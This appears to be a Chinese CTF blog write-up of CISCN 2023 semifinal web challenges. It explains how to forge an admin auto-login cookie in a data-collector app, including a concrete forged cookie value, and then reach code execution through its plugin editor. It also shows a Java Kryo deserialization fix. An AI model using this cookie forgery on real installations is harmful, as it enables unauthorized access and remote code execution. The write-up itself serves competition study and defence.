\n<h1 class=\"wp-block-heading\">dataapi<\/h1>\n\n\n\n<p>\u84dd\u5929\u91c7\u96c6\u5668\u6700\u65b0\u7248\uff0c\u672c\u5730\u6587\u5e93\u91cc\u53d1\u73b0v2.3.1\u6709\u6f0f\u6d1e\uff0c\u4f46\u5f97\u767b\u8fdb\u53bb\u624d\u884c\uff0c\u6211\u4eec\u662f\u6ca1\u6709\u5bc6\u7801\u7684\u3002<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">break(&lt;3\u961f\u89e3\u51fa)<\/h2>\n\n\n\n<p>\u770b\u6e90\u7801\u7684\u65f6\u5019\u80fd\u611f\u89c9\u51fa\u6765\u540e\u53f0\u6709\u5f88\u591a\u6f0f\u6d1e\uff0c\u65e0\u8bba\u662f\u6570\u636e\u91c7\u96c6\u90a3\u91cc\u8fd8\u662f\u63d2\u4ef6\u90a3\u91cc\uff0c\u90fd\u80fd\u76f4\u63a5\u548cphp\u4ee3\u7801\u4ea4\u4e92\uff0c\u867d\u7136\u6211\u4eec\u6709\u6570\u636e\u5e93\uff0c\u4f46\u91cc\u9762\u53ea\u6709\u52a0\u5bc6\u8fc7\u7684\u5bc6\u6587\uff0c\u800c\u4ed6\u8fd9\u4e2a\u52a0\u5bc6\u8fc7\u7a0b\u8fd8\u662f\u86ee\u590d\u6742\u7684\uff1a<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>\/*\u5bc6\u7801\u52a0\u5bc6*\/\n\tpublic static function pwd_encrypt($pwd,$salt=''){\n\t\t$pwd=sha1($pwd);\n\t\tif(!empty($salt)){\n\t\t\t$pwd.=$salt;\n\t\t}\n\t\treturn md5($pwd);\n\t}<\/code><\/pre>\n\n\n\n<pre class=\"wp-block-code\"><code>INSERT INTO `api_user` (`uid`, `username`, `password`, `salt`, `groupid`, `email`, `regtime`) VALUES (5, 'admin', '17284aac3da236075c9b01827f60929b', 'pw3WuReAoklFmGjVIdNh', 1, 'admin@admin.com', 1683706207);<\/code><\/pre>\n\n\n\n<p>\u6211\u4eec\u540e\u9762\u628a8\u4f4d\u6570\u5b57\u7206\u5b8c\u4e86\uff0c\u5565\u5b57\u5178\u90fd\u7206\u4e86\uff0c\u4e94\u4f4d\u6570\u5b57\u52a0\u5b57\u6bcd\u4e5f\u8bd5\u4e86\uff0c\u8fd8\u662f\u6ca1\u7206\u7834\u51fa\u6765\uff0c\u5f53\u65f6\u672c\u6765\u8fd8\u60f3\u7528\u4e4b\u524d\u90a3\u4e2a\u601d\u8defban\u5bc6\u7801\u4fee\u9898\u7684\uff0c\u7ed3\u679c\u53d1\u73b0\u4e86ban\u4e86\u4e4b\u540eexp\u8fd8\u662f\u80fd\u6253\uff0c\u6240\u4ee5\u731c\u6d4b\u53ef\u80fd\u7528\u56fa\u5b9a\u7684cookie\u6216\u8005session\u6253\u7684\uff0c\u4f46\u786e\u5b9e\u6ca1\u60f3\u5230\u90a3\u4e2acookie\u90a3\u4e48\u4f4e\u80fd\uff0c\u5509\uff0c\u540e\u9762\u542c\u4e86\u51a0\u519b\u961f\u7684\u5206\u4eab\uff0c\u8fd9\u4e2a\u5bc6\u7801\u4e0d\u7528\u7206\u7834\uff0ccookie\u662f\u76f4\u63a5\u7528admin\u8fd8\u6709\u52a0\u5bc6\u540e\u7684\u5bc6\u7801\u968f\u4fbf\u62fc\u63a5\u4e00\u4e0b\u7136\u540e\u6784\u9020\u6210\u7684\uff0c\u76f4\u63a5\u4f2a\u9020cookie\u5c31\u884c\u4e86\uff0c\u8fdb\u4e86\u540e\u53f0\u7528\u63d2\u4ef6rce\u5c31\u884c\u4e86\u3002<\/p>\n\n\n\n<p>\u9996\u5148\u770b\u5230\u8fd9\u91cc\uff0c\u8fd9\u513f\u6709\u4e2a\u81ea\u52a8\u767b\u5f55\u7684\u903b\u8f91\uff0c\u6211\u4eec\u53ef\u4ee5\u63a7\u5236login_history\u8fd9\u4e2acookie\uff0c\u89e3\u6790\u7684\u683c\u5f0f\u662fuid|key<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2023\/06\/1-1024x920.jpg'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"920\" data-original=\"https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2023\/06\/1-1024x920.jpg\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-2004\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<p>\u6211\u4eec\u518d\u6765\u770b\u5230key\u7684\u751f\u6210\u903b\u8f91\uff1a<\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2023\/06\/1-1.jpg'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1023\" height=\"416\" data-original=\"https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2023\/06\/1-1.jpg\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-2005\"  sizes=\"auto, (max-width: 1023px) 100vw, 1023px\" \/><\/div><\/figure>\n\n\n\n<p>\u5176\u5b9e\u5c31\u662f\u76f4\u63a5\u628a\u6570\u636e\u5e93\u5b58\u7684username\u548cpassword\u7528:\u62fc\u63a5\u8d77\u6765\uff0c\u7136\u540emd5\u4e00\u4e0b\uff0c\u6ce8\u610f\u8fd9\u91cc\u662f\u6570\u636e\u5e93\u91cc\u5b58\u7684\uff0c\u6240\u4ee5password\u5c31\u662f\u5bc6\u6587\uff0c\u4e0d\u7528\u66b4\u529b\u7834\u89e3\u6211\u4eec\u4e5f\u80fd\u6210\u529f\u4f2a\u9020cookie\u8fdb\u5165\u540e\u53f0\u3002<\/p>\n\n\n\n<p>nss\u4e0a\u90a3\u4e2a\u590d\u73b0\u73af\u5883\u4e5f\u662f\u4e00\u6837\u7684(uid\u5565\u7684\u90a3\u4e2a\u6570\u636e\u5e93\u91cc\u90fd\u6709\uff0cuid\u662f\u4e94\uff0c\u7136\u540e\u53f3\u8fb9\u662fmd5(admin:17284aac3da236075c9b01827f60929b))<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>login_history=5|c7fef4090adc90785d4c6e5b30ed9de4<\/code><\/pre>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2023\/07\/1-6-1024x480.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"480\" data-original=\"https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2023\/07\/1-6-1024x480.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-2057\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<p>\u5728\u7528\u6237\u90a3\u91cc\u53ef\u4ee5\u4fee\u6539\u5bc6\u7801\uff0c\u4fee\u6539\u5b8c\u4e4b\u540e\u6211\u4eec\u53ef\u4ee5\u53d1\u5e03\u63d2\u4ef6\uff1a<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2023\/07\/1-7-1024x619.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"619\" data-original=\"https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2023\/07\/1-7-1024x619.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-2060\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2023\/07\/1-8-1024x597.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"597\" data-original=\"https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2023\/07\/1-8-1024x597.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-2061\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<p>\u76f8\u5f53\u4e8e\u6211\u4eec\u53ef\u4ee5\u76f4\u63a5\u7f16\u8f91\/app\/plugin\/func\/process\/ShellShell.php\u7684\u6e90\u7801\uff0c\u7406\u8bba\u4e0a\u8fd9\u6837\u5c31\u80fd\u505a\u4e86\uff0c\u4f46\u662fnss\u8fd9\u4e2a\u73af\u5883plugin\u76ee\u5f55\u6ca1\u6cd5\u8bbf\u95ee\u3002\u3002\u3002\u90a3\u5c31\u4e0d\u77e5\u9053\u6709\u6ca1\u6709\u5176\u4ed6\u505a\u6cd5\u4e86\uff0c\u53e6\u4e00\u79cd\u4e0a\u4f20\u63d2\u4ef6\u7684\u65b9\u6cd5\u6700\u540e\u7684\u4e0a\u4f20\u8def\u5f84\u4e5f\u662fplugin\u76ee\u5f55\u4e0b\uff0c\u611f\u89c9\u8fd9\u4e2a\u73af\u5883\u590d\u73b0\u4e0d\u51fa\u6765\u3002<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">fix(&lt;10\u961f\u89e3\u51fa)<\/h2>\n\n\n\n<p>\u540e\u53f0\u6f0f\u6d1e\u70b9\u592a\u591a\u4e86\uff0c\u4fee\u4e86\u597d\u4e45\u4e5f\u6ca1\u6210\u529f\uff0c15\u6b21\u673a\u4f1a\u90fd\u5b8c\u4e86\u8fd8\u662f\u6ca1\u505a\u51fa\u6765\uff0c\u5509\u3002<\/p>\n\n\n\n<p>\u95ee\u4e86\u4e0bD1no\u7684\u8001\u54e5\uff0c\u4ed6\u4eecfix\u7684\u65b9\u6cd5\u662f\u76f4\u63a5\u4e0a\u7684watchbird\uff0csh\u811a\u672c\u91cc\u5199\u8fd9\u73a9\u610f\u7684\u90e8\u7f72\u547d\u4ee4\u5c31\u53ef\u4ee5\u4e86\uff0c\u4e5f\u5c31\u662f\u5148\u628a\u6e90\u7801\u4e86cp\uff0c\u7136\u540e\u52a0\u4e0a\u90e8\u7f72\u7684\u51e0\u4e2a\u547d\u4ee4\u5199\u8fdbsh\u91cc\u3002<\/p>\n\n\n\n<h1 class=\"wp-block-heading\">seaclouds<\/h1>\n\n\n\n<p>\u4e00\u4e2ajava\u53cd\u5e8f\u5217\u5316\u7684\u9898<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">break(0\u89e3)<\/h2>\n\n\n\n<p>\u7ed9\u4e86\u63d0\u793a\u662fkryo\u53cd\u5e8f\u5217\u5316\uff0c\u8fd8\u662f\u4e0d\u4f1a\uff0c\u53cd\u6b63\u5927\u4f19\u90fd\u4e0d\u4f1a<\/p>\n\n\n\n<p>\u8d5b\u540eM1sery\u505a\u51fa\u6765\u4e86\uff0c\u53ef\u4ee5\u770b\u770b\u4ed6\u7684\u6587\u7ae0\uff1a<a href=\"https:\/\/www.yuque.com\/misery333\/sz1apr\/wa9d50l7yo1p4s9g\">CISCN2023\u897f\u5357\u8d5b\u533a\u534a\u51b3\u8d5b seaclouds<\/a><\/p>\n\n\n\n<h2 class=\"wp-block-heading\">fix(&lt;10\u961f\u89e3\u51fa)<\/h2>\n\n\n\n<p>\u4e3b\u8fdb\u7a0b\u662f\uff1a<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>\/\/\n\/\/ Source code recreated from a .class file by IntelliJ IDEA\n\/\/ (powered by FernFlower decompiler)\n\/\/\n\npackage com.sea;\n\nimport java.util.Base64;\nimport org.springframework.integration.codec.CodecMessageConverter;\nimport org.springframework.integration.codec.kryo.MessageCodec;\nimport org.springframework.messaging.Message;\nimport org.springframework.messaging.MessageHeaders;\nimport org.springframework.stereotype.Controller;\nimport org.springframework.web.bind.annotation.RequestMapping;\nimport org.springframework.web.bind.annotation.ResponseBody;\n\n@Controller\npublic class MessageController {\n    public MessageController() {\n    }\n\n    @ResponseBody\n    @RequestMapping({\"\/\"})\n    public Object message(String message) throws Exception {\n        byte&#91;] decodemsg;\n        if (message == null) {\n            decodemsg = Base64.getDecoder().decode(\"ASsBAQIDAWnkAQBqYXZhLnV0aWwuVVVJxAHLyYj656nh3Rj89bSK7ufJrcoDAXRpbWVzdGFt8AnMwumxjGIBAWNvbS5zZWEuVXNl8gEBMbABc2VhY2xvdWTz\");\n        } else {\n            try {\n                decodemsg = Base64.getDecoder().decode(message);\n            } catch (Exception var5) {\n                decodemsg = Base64.getDecoder().decode(\"ASsBAQIDAWnkAQBqYXZhLnV0aWwuVVVJxAGBw5uOyvHs1sGsg\/nqhOyP9pIDAXRpbWVzdGFt8AnmifmxjGIBAWNvbS5zZWEuVXNl8gEBMbABZXJyb\/I=\");\n            }\n        }\n\n        CodecMessageConverter codecMessageConverter = new CodecMessageConverter(new MessageCodec());\n        Message&lt;?&gt; messagecode = codecMessageConverter.toMessage(decodemsg, (MessageHeaders)null);\n        return messagecode.getPayload();\n    }\n}\n<\/code><\/pre>\n\n\n\n<pre class=\"wp-block-code\"><code>public Object message(String message) throws Exception {\n    byte&#91;] decodemsg;\n    if (message == null) {\n        decodemsg = Base64.getDecoder().decode(\"ASsBAQIDAWnkAQBqYXZhLnV0aWwuVVVJxAHLyYj656nh3Rj89bSK7ufJrcoDAXRpbWVzdGFt8AnMwumxjGIBAWNvbS5zZWEuVXNl8gEBMbABc2VhY2xvdWTz\");\n    } else {\n        try {\n            decodemsg = Base64.getDecoder().decode(message);\n        } catch (Exception var5) {\n            decodemsg = Base64.getDecoder().decode(\"ASsBAQIDAWnkAQBqYXZhLnV0aWwuVVVJxAGBw5uOyvHs1sGsg\/nqhOyP9pIDAXRpbWVzdGFt8AnmifmxjGIBAWNvbS5zZWEuVXNl8gEBMbABZXJyb\/I=\");\n        }\n    }\n\n    \/\/ fix\n    String sea = new String(decodemsg);\n    if(!sea.contains(\"com.sea.\")){\n        return \"filtered\";\n    }\n    \/\/ fix\n\n    CodecMessageConverter codecMessageConverter = new CodecMessageConverter(new MessageCodec());\n    Message&lt;?&gt; messagecode = codecMessageConverter.toMessage(decodemsg, (MessageHeaders)null);\n    return messagecode.getPayload();\n}<\/code><\/pre>\n\n\n\n<p>\u4e5f\u5c31\u662f\u63a5\u53d7\u4e00\u4e2abase64\u540e\u7684\u6570\u636e\u7136\u540e\u89e3\u7801\u53cd\u5e8f\u5217\u5316\uff0c\u4fee\u590d\u4f60\u5c31\u5199\u4e2a\u51fd\u6570\u5148base64\u89e3\u4e00\u4e0b\uff0c\u5982\u679c\u53d1\u73b0\u91cc\u9762\u6709\u4e2acom.\u5565\u5565\u5565\u90a3\u4e2a\u6076\u610f\u7c7b\u5c31exit\u5373\u53ef\u3002<\/p>\n\n\n\n<h1 class=\"wp-block-heading\">\u540e\u8bb0<\/h1>\n\n\n\n<p>\u7b2c\u4e00\u6b65\uff0c\u6c89\u6dc0\uff1b\u7b2c\u4e8c\u6b65\uff0c\u90a3\u573aawdp\u6bc1\u4e86\u6211\u7684\u56fd\u8d5b\u68a6\uff1b\u7b2c\u4e09\u6b65\uff0csu\u7684\u961f\u53cb\uff0c\u6211\u60f3\u4f60\u4eec\u4e86\ud83d\ude2d\ud83d\ude2d\ud83d\ude2d<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>web\u9898\u76ee\u94fe\u63a5\uff1ahttps:\/\/pan.baidu.com\/s\/1xSxdgnXq554l4rM6kKcZTw \u63d0\u53d6\u7801: 7p9h\npwn\u9898\u76ee\u94fe\u63a5(\u6765\u81ea\u5f53\u65f6\u552f\u4e00ak+patch\u6240\u6709pwn\u9898\u7684\u6218\u795elotus,\u5305\u62ecpatch\u811a\u672c\u548cexp): https:\/\/pan.baidu.com\/s\/1yyUwG7nA1dUSTlEE01gQPw \u63d0\u53d6\u7801: 5fd4<\/code><\/pre>\n\n\n\n<p><\/p>\n","protected":false},"excerpt":{"rendered":"<p>\u524d\u8a00 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